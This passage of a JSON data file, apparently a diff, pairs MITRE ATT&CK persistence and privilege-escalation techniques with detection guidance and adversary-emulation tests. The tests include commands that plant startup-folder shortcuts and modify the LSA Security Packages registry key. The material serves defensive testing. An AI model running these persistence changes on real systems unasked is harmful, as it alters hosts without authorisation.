followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Connection Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Defensive network service scanning"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1038": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:40.604Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "url": "https://attack.mitre.org/techniques/T1038",
- "external_id": "T1038",
- "source_name": "mitre-attack"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/471.html",
- "source_name": "capec",
- "external_id": "CAPEC-471"
- },
- {
- "source_name": "Microsoft DLL Search",
- "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.",
- "url": "http://msdn.microsoft.com/en-US/library/ms682586"
- },
- {
- "source_name": "OWASP Binary Planting",
- "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.",
- "url": "https://www.owasp.org/index.php/Binary_planting"
- },
- {
- "source_name": "Microsoft 2269637",
- "description": "Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014.",
- "url": "https://msrc-blog.microsoft.com/2010/08/21/microsoft-security-advisory-2269637-released/"
- },
- {
- "source_name": "Microsoft DLL Redirection",
- "description": "Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014.",
- "url": "http://msdn.microsoft.com/en-US/library/ms682600"
- },
- {
- "source_name": "Microsoft Manifests",
- "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.",
- "url": "https://msdn.microsoft.com/en-US/library/aa375365"
- },
- {
- "source_name": "Mandiant Search Order",
- "description": "Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.",
- "url": "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/"
- }
- ],
- "modified": "2020-03-26T14:49:47.091Z",
- "name": "DLL Search Order Hijacking",
- "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Process whitelisting"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_system_requirements": [
- "Ability to add a DLL, manifest file, or .local file, directory, or junction."
- ],
- "x_mitre_effective_permissions": [
- "User",
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1050": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Pedro Harrison"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:45.613Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1050",
- "url": "https://attack.mitre.org/techniques/T1050"
- },
- {
- "external_id": "CAPEC-550",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/550.html"
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx",
- "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
- "source_name": "TechNet Services"
- },
- {
- "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697",
- "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.",
- "source_name": "Microsoft 4697 APR 2017"
- },
- {
- "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection",
- "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.",
- "source_name": "Microsoft Windows Event Forwarding FEB 2018"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- }
- ],
- "modified": "2020-03-17T16:21:36.413Z",
- "name": "New Service",
- "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1547.009": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "David French, Elastic",
- "Bobby, Filar, Elastic",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
- "type": "attack-pattern",
- "created": "2020-01-24T19:00:32.917Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.009",
- "url": "https://attack.mitre.org/techniques/T1547/009"
- },
- {
- "external_id": "CAPEC-132",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/132.html"
- },
- {
- "source_name": "BSidesSLC 2020 - LNK Elastic",
- "url": "https://www.youtube.com/watch?v=nJ0UsyiUEqQ",
- "description": "French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020."
- }
- ],
- "modified": "2021-04-13T21:30:24.555Z",
- "name": "Boot or Logon Autostart Execution: Shortcut Modification",
- "description": "Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nMonitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "File: File Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "identifier": "T1547.009"
- },
- "atomic_tests": [
- {
- "name": "Shortcut Modification",
- "auto_generated_guid": "ce4fc678-364f-4282-af16-2fb4c78005ce",
- "description": "This test to simulate shortcut modification and then execute. example shortcut (*.lnk , .url) strings check with powershell;\ngci -path \"C:\\Users\" -recurse -include *.url -ea SilentlyContinue | Select-String -Pattern \"exe\" | FL.\nUpon execution, calc.exe will be launched.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "shortcut_file_path": {
- "description": "shortcut modified and execute",
- "type": "path",
- "default": "%temp%\\T1547.009_modified_shortcut.url"
- }
- },
- "executor": {
- "command": "echo [InternetShortcut] > #{shortcut_file_path}\necho URL=C:\\windows\\system32\\calc.exe >> #{shortcut_file_path}\n#{shortcut_file_path}\n",
- "cleanup_command": "del -f #{shortcut_file_path} >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Create shortcut to cmd in startup folders",
- "auto_generated_guid": "cfdc954d-4bb0-4027-875b-a1893ce406f2",
- "description": "LNK file to launch CMD placed in startup folder. Upon execution, open File Explorer and browse to \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\"\nto view the new shortcut.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$Shell = New-Object -ComObject (\"WScript.Shell\")\n$ShortCut = $Shell.CreateShortcut(\"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\")\n$ShortCut.TargetPath=\"cmd.exe\"\n$ShortCut.WorkingDirectory = \"C:\\Windows\\System32\";\n$ShortCut.WindowStyle = 1;\n$ShortCut.Description = \"T1547.009.\";\n$ShortCut.Save()\n\n$Shell = New-Object -ComObject (\"WScript.Shell\")\n$ShortCut = $Shell.CreateShortcut(\"$env:ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\")\n$ShortCut.TargetPath=\"cmd.exe\"\n$ShortCut.WorkingDirectory = \"C:\\Windows\\System32\";\n$ShortCut.WindowStyle = 1;\n$ShortCut.Description = \"T1547.009.\";\n$ShortCut.Save()\n",
- "cleanup_command": "Remove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\" -ErrorAction Ignore\nRemove-Item \"$env:ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\" -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1062": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:50.958Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1062",
- "url": "https://attack.mitre.org/techniques/T1062"
- },
- {
- "external_id": "CAPEC-552",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/552.html"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Hypervisor",
- "description": "Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016.",
- "source_name": "Wikipedia Hypervisor"
- },
- {
- "url": "http://en.wikipedia.org/wiki/Xen",
- "description": "Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014.",
- "source_name": "Wikipedia Xen"
- },
- {
- "url": "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf",
- "description": "Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.",
- "source_name": "Myers 2007"
- },
- {
- "url": "http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html",
- "description": "virtualization.info. (Interviewer) & Liguori, A. (Interviewee). (2006, August 11). Debunking Blue Pill myth [Interview transcript]. Retrieved November 13, 2014.",
- "source_name": "virtualization.info 2006"
- }
- ],
- "modified": "2020-03-30T13:44:04.712Z",
- "name": "Hypervisor",
- "description": "**This technique has been deprecated and should no longer be used.**\n\nA type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)",
- "x_mitre_deprecated": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1182": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1182",
- "url": "https://attack.mitre.org/techniques/T1182"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- },
- {
- "url": "https://forum.sysinternals.com/appcertdlls_topic12546.html",
- "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.",
- "source_name": "Sysinternals AppCertDlls Oct 2007"
- }
- ],
- "modified": "2020-11-10T18:29:30.350Z",
- "name": "AppCert DLLs",
- "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager
are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_effective_permissions": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1525": {
- "technique": {
- "x_mitre_platforms": [
- "IaaS",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Yossi Weizman, Azure Defender Research Team",
- "Vishwas Manral, McAfee",
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f",
- "type": "attack-pattern",
- "created": "2019-09-04T12:04:03.552Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1525",
- "url": "https://attack.mitre.org/techniques/T1525"
- },
- {
- "source_name": "Rhino Labs Cloud Image Backdoor Technique Sept 2019",
- "url": "https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/",
- "description": "Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019."
- },
- {
- "source_name": "Rhino Labs Cloud Backdoor September 2019",
- "url": "https://github.com/RhinoSecurityLabs/ccat",
- "description": "Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019."
- }
- ],
- "modified": "2022-03-08T21:27:49.094Z",
- "name": "Implant Internal Image",
- "description": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim\u2019s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.\n\nIn containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. ",
- "x_mitre_version": "2.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Image: Image Metadata",
- "Image: Image Modification",
- "Image: Image Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1547.005": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462",
- "type": "attack-pattern",
- "created": "2020-01-24T17:16:11.806Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.005",
- "url": "https://attack.mitre.org/techniques/T1547/005"
- },
- {
- "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
- "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
- "source_name": "Graeber 2014"
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
- "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
- "source_name": "Microsoft Configure LSA"
- }
- ],
- "modified": "2020-03-25T15:42:48.910Z",
- "name": "Boot or Logon Autostart Execution: Security Support Provider",
- "description": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages
and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages
. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe
with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Module: Module Load",
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "identifier": "T1547.005"
- },
- "atomic_tests": [
- {
- "name": "Modify SSP configuration in registry",
- "auto_generated_guid": "afdfd7e3-8a0b-409f-85f7-886fdf249c9e",
- "description": "Add a value to a Windows registry SSP key, simulating an adversarial modification of those keys.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "fake_ssp_dll": {
- "description": "Value added to registry key. Normally refers to a DLL name in C:\\Windows\\System32.",
- "type": "string",
- "default": "not-a-ssp"
- }
- },
- "executor": {
- "command": "# run these in sequence\n$SecurityPackages = Get-ItemProperty HKLM:\\System\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'\n$SecurityPackagesUpdated = $SecurityPackages\n$SecurityPackagesUpdated += \"#{fake_ssp_dll}\"\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' -Value $SecurityPackagesUpdated\n\n# revert (before reboot)\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' -Value $SecurityPackages\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1004": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:20.148Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1004",
- "url": "https://attack.mitre.org/techniques/T1004"
- },
- {
- "external_id": "CAPEC-579",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/579.html"
- },
- {
- "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order",
- "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.",
- "source_name": "Cylance Reg Persistence Sept 2013"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- }
- ],
- "modified": "2020-01-24T17:07:19.762Z",
- "name": "Winlogon Helper DLL",
- "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\
and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\
are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
